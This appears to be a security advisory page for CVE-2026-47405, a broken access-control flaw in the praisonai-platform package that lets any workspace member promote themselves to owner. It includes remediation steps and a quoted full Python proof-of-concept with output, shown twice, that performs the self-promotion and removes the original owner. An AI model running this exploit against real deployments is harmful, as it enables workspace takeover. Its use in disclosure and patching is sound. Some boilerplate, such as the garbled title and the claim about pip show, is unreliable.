CVE-2026-47405: PraisonAI Platform Missing Role Checks Let Any Vulnerability

HIGH
Advisory Identifier: GHSA-h37g-4h4p-9x97
CVSS 8.8
CWE-284 CWE-862
Published
Advisory Summary

CVE-2026-47405 is a HIGH (CVSS 8.8) missing role checks let any vulnerability (CWE-284: Improper Access Control) affecting PraisonAI Platform libraries in the PyPI ecosystem. The issue involves missing role checks let any workspace member become owner and control workspace membership. Remediation is available by upgrading affected packages to version 0.1.4.

CVE-2026-47405 at a Glance

CVE Identifier CVE-2026-47405
GHSA Identifier GHSA-h37g-4h4p-9x97
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-284: Improper Access Control
Affected Product PraisonAI Platform
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-47405

To remediate this vulnerability, upgrade all affected PraisonAI Platform dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai-platform fixed: 0.1.4
pip install praisonai-platform>=0.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai-platform

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47405, inspect your installed packages using pip:

pip show praisonai-platform

Analyze the terminal output to locate any version of PraisonAI Platform in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.4), your application is affected.

Note: The pip show praisonai-platform command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In PraisonAI Platform, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`. The issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role="member"`, so routes that should be administrative are accessible to ordinary workspace members. As a result, a normal workspace member can: - promote their own account from `member` to `owner`; - add arbitrary users as `owner` or `admin`; - change other members' roles; - remove legitimate owners or members; - take over workspace membership completely; - perform destructive workspace operations after escalation. This is a broken access control / vertical privilege escalation vulnerability. ### Details The vulnerable authorization dependency is defined in: ```text praisonai_platform/api/deps.py ```` The dependency defaults to the lowest workspace role: ```python async def require_workspace_member( workspace_id: str, user: AuthIdentity = Depends(get_current_user), session: AsyncSession = Depends(get_db), min_role: str = "member", ) -> AuthIdentity: ... has = await member_svc.has_role(workspace_id, user.id, min_role) ``` Because `min_role` defaults to `"member"`, any route using: ```python Depends(require_workspace_member) ``` without explicitly passing a stronger role only requires ordinary workspace membership. Privileged workspace-management routes in: ```text praisonai_platform/api/routes/workspaces.py ``` use this dependency unchanged on administrative actions, including: ```text PATCH /workspaces/{workspace_id} DELETE /workspaces/{workspace_id} POST /workspaces/{workspace_id}/members PATCH /workspaces/{workspace_id}/members/{user_id} DELETE /workspaces/{workspace_id}/members/{user_id} ``` These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`. The membership service does not provide a second authorization layer. In: ```text praisonai_platform/services/member_service.py ``` the mutation methods perform the requested change after the route-level check passes: ```python async def add(...): member = Member(workspace_id=workspace_id, user_id=user_id, role=role) async def update_role(...): member = await self.get(workspace_id, user_id) member.role = new_role async def remove(...): member = await self.get(workspace_id, user_id) await self._session.delete(member) ``` Therefore, the weak route dependency is the effective authorization boundary. A low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object: ```text TokenResponse.token TokenResponse.user.id ``` This allows an invited low-privilege member to target their own membership record and self-promote. ### Affected component ```text Package: praisonai-platform Verified version: 0.1.2 Verified source commit: d8a8a78 Affected components: - praisonai_platform/api/deps.py - praisonai_platform/api/routes/workspaces.py - praisonai_platform/services/member_service.py - praisonai_platform/api/routes/auth.py - praisonai_platform/api/schemas.py ``` ### PoC The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic. The PoC: 1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`. 2. Registers three users through the real `/api/v1/auth/register` route. 3. Creates a workspace as the original owner. 4. Adds the second user as a normal `member`. 5. Logs in as that low-privilege member. 6. Uses the low-privilege member token to self-promote to `owner`. 7. Uses the same token to add a third account as `owner`. 8. Uses the same token to remove the original owner. 9. Confirms the workspace membership has been taken over. #### Full PoC code ```python #!/usr/bin/env python3 """Self-contained local replay for PraisonAI Platform workspace RBAC bypass.""" from __future__ import annotations import asyncio import os import sys import types import uuid from pathlib import Path from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import create_async_engine REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" def verify_source() -> None: expected = { PLATFORM_ROOT / "praisonai_platform/api/deps.py": [ 'min_role: str = "member"', "member_svc.has_role(workspace_id, user.id, min_role)", ], PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [ '@router.patch("/{workspace_id}", response_model=WorkspaceResponse)', '@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)', '@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)', '@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)', ], PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [ "member.role = new_role", "await self._session.delete(member)", ], } for path, needles in expected.items(): text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}") async def main() -> int: if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists(): raise SystemExit("missing local PraisonAI source tree") verify_source() sys.path.insert(0, str(PLATFORM_ROOT)) sys.path.insert(0, str(AGENTS_ROOT)) # Minimal passlib stub for local replay environments where passlib is not installed. # This keeps the PoC focused on the authorization bug rather than dependency setup. if "passlib" not in sys.modules: passlib_pkg = types.ModuleType("passlib") passlib_pkg.__path__ = [] sys.modules["passlib"] = passlib_pkg if "passlib.context" not in sys.modules: passlib_context = types.ModuleType("passlib.context") class _CryptContext: def __init__(self, *args, **kwargs): pass def hash(self, password: str) -> str: return f"stub::{password}" def verify(self, password: str, hashed: str) -> bool: return hashed == f"stub::{password}" passlib_context.CryptContext = _CryptContext sys.modules["passlib.context"] = passlib_context # Keep JWT generation deterministic for the local replay. os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only" from praisonai_platform.api.app import create_app from praisonai_platform.db.base import Base, reset_engine from praisonai_platform.db import base as base_mod await reset_engine() engine = create_async_engine( "sqlite+aiosqlite:///:memory:", echo=False, connect_args={"check_same_thread": False}, ) base_mod._engine = engine base_mod._session_factory = None async with engine.begin() as conn: await conn.run_sync(Base.metadata.create_all) app = create_app() suffix = uuid.uuid4().hex[:8] password = "Password123!" transport = ASGITransport(app=app) async with AsyncClient(transport=transport, base_url="http://test") as client: # 1. Register an owner account. owner = await client.post( "/api/v1/auth/register", json={ "email": f"owner_{suffix}@example.com", "password": password, "name": f"owner_{suffix}", }, ) # 2. Register a low-privilege member account. member = await client.post( "/api/v1/auth/register", json={ "email": f"member_{suffix}@example.com", "password": password, "name": f"member_{suffix}", }, ) # 3. Register a third attacker-controlled account. extra = await client.post( "/api/v1/auth/register", json={ "email": f"extra_{suffix}@example.com", "password": password, "name": f"extra_{suffix}", }, ) owner_json = owner.json() member_json = member.json() extra_json = extra.json() owner_headers = {"Authorization": f"Bearer {owner_json['token']}"} member_headers = {"Authorization": f"Bearer {member_json['token']}"} # 4. Create a workspace as the owner. workspace = await client.post( "/api/v1/workspaces/", json={ "name": f"ws-{suffix}", "slug": f"ws-{suffix}", "description": "rbac bypass poc", }, headers=owner_headers, ) workspace_id = workspace.json()["id"] # 5. Owner adds the second user as a normal low-privilege member. added_member = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={ "user_id": member_json["user"]["id"], "role": "member", }, headers=owner_headers, ) # 6. Low-privilege member self-promotes to owner. promoted = await client.patch( f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}", json={ "role": "owner", }, headers=member_headers, ) # 7. The same formerly-low-privilege member adds a third account as owner. added_owner = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={ "user_id": extra_json["user"]["id"], "role": "owner", }, headers=member_headers, ) # 8. The same account removes the original owner. removed_original_owner = await client.delete( f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}", headers=member_headers, ) # 9. Confirm remaining membership state. remaining_members = await client.get( f"/api/v1/workspaces/{workspace_id}/members", headers=member_headers, ) remaining_roles = [m["role"] for m in remaining_members.json()] print(f"[poc] owner_status={owner.status_code}") print(f"[poc] member_status={member.status_code}") print(f"[poc] extra_status={extra.status_code}") print(f"[poc] workspace_status={workspace.status_code}") print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}") print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}") print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}") print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}") print(f"[poc] remaining_roles={remaining_roles}") if promoted.status_code != 200 or promoted.json()["role"] != "owner": raise SystemExit("[poc] MISS: low-privilege member did not become owner") if added_owner.status_code != 201 or added_owner.json()["role"] != "owner": raise SystemExit("[poc] MISS: promoted attacker could not add a new owner") if removed_original_owner.status_code != 204: raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner") if remaining_roles.count("owner") < 2: raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover") print("[poc] HIT: low-privilege member became owner and took over workspace membership") await engine.dispose() base_mod._engine = None base_mod._session_factory = None return 0 if __name__ == "__main__": raise SystemExit(asyncio.run(main())) ``` #### Observed output ```text [poc] owner_status=201 [poc] member_status=201 [poc] extra_status=201 [poc] workspace_status=201 [poc] add_status=201 role=member [poc] promote_status=200 role=owner [poc] add_owner_status=201 role=owner [poc] remove_original_owner_status=204 [poc] remaining_roles=['owner', 'owner'] [poc] HIT: low-privilege member became owner and took over workspace membership ``` #### Expected secure behavior The following request should be rejected when made by a plain `member`: ```http PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id} Authorization: Bearer <member_token> Content-Type: application/json { "role": "owner" } ``` Expected response: ```text 403 Forbidden ``` #### Actual vulnerable behavior The request succeeds: ```text HTTP 200 role = owner ``` The same account can then add attacker-controlled owners and remove the original owner. ### Impact A low-privilege workspace member can fully take over a workspace. Impact includes: * self-promoting from `member` to `owner` or `admin`; * granting `owner` or `admin` to attacker-controlled accounts; * changing other members' roles; * removing legitimate owners or members; * modifying workspace metadata and settings; * deleting the workspace; * taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation. The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.

CVE-2026-47405 Affected PraisonAI Platform Versions

1 component(s)
Fixed Versions:
0.1.4
Product / Package Ecosystem Affected Versions Fixed Version
praisonai-platform
PyPI
< 0.1.4
0.1.4

References

Frequently Asked Questions

What is CVE-2026-47405?
CVE-2026-47405 is a security vulnerability in PraisonAI Platform involving Missing role checks let any workspace member become owner and control workspace membership under CWE-284: Improper Access Control.
Which PraisonAI Platform versions are affected?
Affected versions include releases prior to 0.1.4 across affected packages: praisonai-platform.
What version fixes CVE-2026-47405?
Upgrading to 0.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai-platform affected?
Yes, praisonai-platform is affected in releases prior to 0.1.4. Upgrade your dependency to 0.1.4 or later.
What is the CVSS score of CVE-2026-47405?
CVE-2026-47405 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-47405?
CVE-2026-47405 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-47405?
Run the dependency tree command: 'pip show praisonai-platform'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h37g-4h4p-9x97",
  "modified" : "2026-05-29T22:42:07Z",
  "published" : "2026-05-29T22:42:07Z",
  "aliases" : [ "CVE-2026-47405" ],
  "summary" : "PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership",
  "details" : "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members' roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -> AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -> None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            'min_role: str = \"member\"',\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            '@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)',\n            '@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)',\n            '@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',\n            '@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)',\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -> int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -> str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -> bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1. Register an owner account.\n        owner = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"owner_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"owner_{suffix}\",\n            },\n        )\n\n        # 2. Register a low-privilege member account.\n        member = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"member_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"member_{suffix}\",\n            },\n        )\n\n        # 3. Register a third attacker-controlled account.\n        extra = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"extra_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"extra_{suffix}\",\n            },\n        )\n\n        owner_json = owner.json()\n        member_json = member.json()\n        extra_json = extra.json()\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_json['token']}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_json['token']}\"}\n\n        # 4. Create a workspace as the owner.\n        workspace = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"ws-{suffix}\",\n                \"slug\": f\"ws-{suffix}\",\n                \"description\": \"rbac bypass poc\",\n            },\n            headers=owner_headers,\n        )\n\n        workspace_id = workspace.json()[\"id\"]\n\n        # 5. Owner adds the second user as a normal low-privilege member.\n        added_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": member_json[\"user\"][\"id\"],\n                \"role\": \"member\",\n            },\n            headers=owner_headers,\n        )\n\n        # 6. Low-privilege member self-promotes to owner.\n        promoted = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}\",\n            json={\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 7. The same formerly-low-privilege member adds a third account as owner.\n        added_owner = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": extra_json[\"user\"][\"id\"],\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 8. The same account removes the original owner.\n        removed_original_owner = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}\",\n            headers=member_headers,\n        )\n\n        # 9. Confirm remaining membership state.\n        remaining_members = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            headers=member_headers,\n        )\n\n        remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n        print(f\"[poc] owner_status={owner.status_code}\")\n        print(f\"[poc] member_status={member.status_code}\")\n        print(f\"[poc] extra_status={extra.status_code}\")\n        print(f\"[poc] workspace_status={workspace.status_code}\")\n        print(f\"[poc] add_status={added_member.status_code} role={added_member.json()['role']}\")\n        print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}\")\n        print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}\")\n        print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n        print(f\"[poc] remaining_roles={remaining_roles}\")\n\n        if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n        if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n        if removed_original_owner.status_code != 204:\n            raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n        if remaining_roles.count(\"owner\") < 2:\n            raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n        print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=['owner', 'owner']\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer <member_token>\nContent-Type: application/json\n\n{\n  \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members' roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:42:07Z",
    "nvd_published_at" : null
  }
}